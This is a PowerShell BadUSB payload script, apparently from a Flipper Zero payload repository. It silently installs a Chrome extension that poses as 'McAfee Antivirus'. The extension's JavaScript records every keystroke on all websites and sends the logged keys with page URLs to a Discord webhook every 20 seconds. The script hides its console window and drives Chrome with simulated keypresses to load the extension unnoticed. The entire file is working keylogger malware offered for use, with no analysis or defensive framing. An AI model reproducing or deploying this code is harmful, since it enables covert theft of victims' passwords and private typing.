Files
BadUSB-Files-For-FlipperZero/Chrome-Extension-Keylogger/main.ps1
2025-06-20 20:41:29 +00:00

167 lines
4.2 KiB
PowerShell

$hookurl = "$dc"
if ($hookurl.Length -lt 120){
$hookurl = ("https://discord.com/api/webhooks/" + "$dc")
}
# Uncomment $hide='y' below to hide the console
# $hide='y'
if($hide -eq 'y'){
$w=(Get-Process -PID $pid).MainWindowHandle
$a='[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd,int nCmdShow);'
$t=Add-Type -M $a -Name Win32ShowWindowAsync -Names Win32Functions -Pass
if($w -ne [System.IntPtr]::Zero){
$t::ShowWindowAsync($w,0)
}else{
$Host.UI.RawUI.WindowTitle = 'xx'
$p=(Get-Process | Where-Object{$_.MainWindowTitle -eq 'xx'})
$w=$p.MainWindowHandle
$t::ShowWindowAsync($w,0)
}
}
# Create the extension file
$DirPath = "C:\Users\Public\Chrome"
New-Item -ItemType Directory -Path $DirPath
# Create the Main Javascript file (main.js)
$mainjs = @'
let keys = "";
const current = document.URL;
document.addEventListener("keydown", (event) => {
const key = event.key;
if (key === "Enter") {
keys += "\n";
return;
}
if (key === "Backspace") {
keys = keys.slice(0, keys.length - 1);
return;
}
if (key === "CapsLock" || key === "Shift") {
return;
}
if (key === "Control") {
keys += "[Ctrl]";
return;
}
// Arrows
if (key === "ArrowLeft") {
keys += "[LeftArrow]";
return;
}
if (key === "ArrowRight") {
keys += "[RightArrow]";
return;
}
if (key === "ArrowDown") {
keys += "[DownArrow]";
return;
}
if (key === "ArrowUp") {
keys += "[UpArrow]";
return;
}
// End arrows
keys += key;
saveKeysLocal();
});
window.setInterval(async () => {
keys = getKeysLocal();
if (keys == "") {
return;
}
const message = `<${current}>\nLogged Keystrokes: ` + "```" + keys + "```";
sendMessageToDiscord(discordWebhook, message);
keys = "";
saveKeysLocal();
}, 20000); // time in milliseconds
async function sendMessageToDiscord(webhook, msg) {
await fetch(webhook, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
content: msg,
}),
});
}
function saveKeysLocal() {
localStorage.setItem("keys", keys);
}
function getKeysLocal() {
return localStorage.getItem("keys");
}
'@
$mainjs | Out-File -FilePath "$DirPath/main.js" -Encoding utf8 -Force
# Create the service worker (background.js)
$backgroundjs = @'
chrome.runtime.onMessage.addListener(
function (request, sender, sendResponse) {
sendResponse(request);
}
);
'@
$backgroundjs | Out-File -FilePath "$DirPath/background.js" -Encoding utf8 -Force
# Crwate the manifest file (manifest.json)
$manifest = @'
{
"name": "McAfee Antivirus",
"description": "Antivirus chrome extension made by McAfee. Browse securely on the internet!",
"version": "2.2",
"manifest_version": 3,
"background": {
"service_worker": "background.js"
},
"content_scripts": [
{
"matches": [
"*://*/*"
],
"js": [
"Webhook.js",
"main.js"
]
}
]
}
'@
$manifest | Out-File -FilePath "$DirPath/manifest.json" -Encoding utf8 -Force
#create the webhook file
"const discordWebhook = `"$hookurl`";" | Out-File -FilePath "C:\Users\Public\Chrome\Webhook.js" -Encoding utf8 -Force
# Send keys to manually open chrome and add extension
$wshell = New-Object -ComObject wscript.shell
Start-Process chrome.exe example.com
sleep 7
$wshell.AppActivate("chrome.exe")
$wshell.SendKeys("{TAB}") ;sleep -m 500
$wshell.SendKeys("{TAB}") ;sleep -m 500
$wshell.SendKeys("{TAB}") ;sleep -m 500
$wshell.SendKeys("chrome://extensions/") ;sleep -m 500
$wshell.SendKeys("{ENTER}") ;sleep 4
$wshell.SendKeys("{TAB}") ;sleep -m 500
$wshell.SendKeys(" ") ;sleep 2
$wshell.SendKeys("{TAB}") ;sleep -m 500
$wshell.SendKeys("{ENTER}") ;sleep 4
$wshell.SendKeys("C:\Users\Public\Chrome");sleep -m 500
$wshell.SendKeys("{ENTER}") ;sleep -m 1000
$wshell.SendKeys("{BACKSPACE}") ;sleep -m 500
$wshell.SendKeys("{ENTER}")
# Kill Chrome process
sleep 4
$wshell.SendKeys("%{F4}")
<#
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.SendKeys]::SendWait('%{F4}')
#>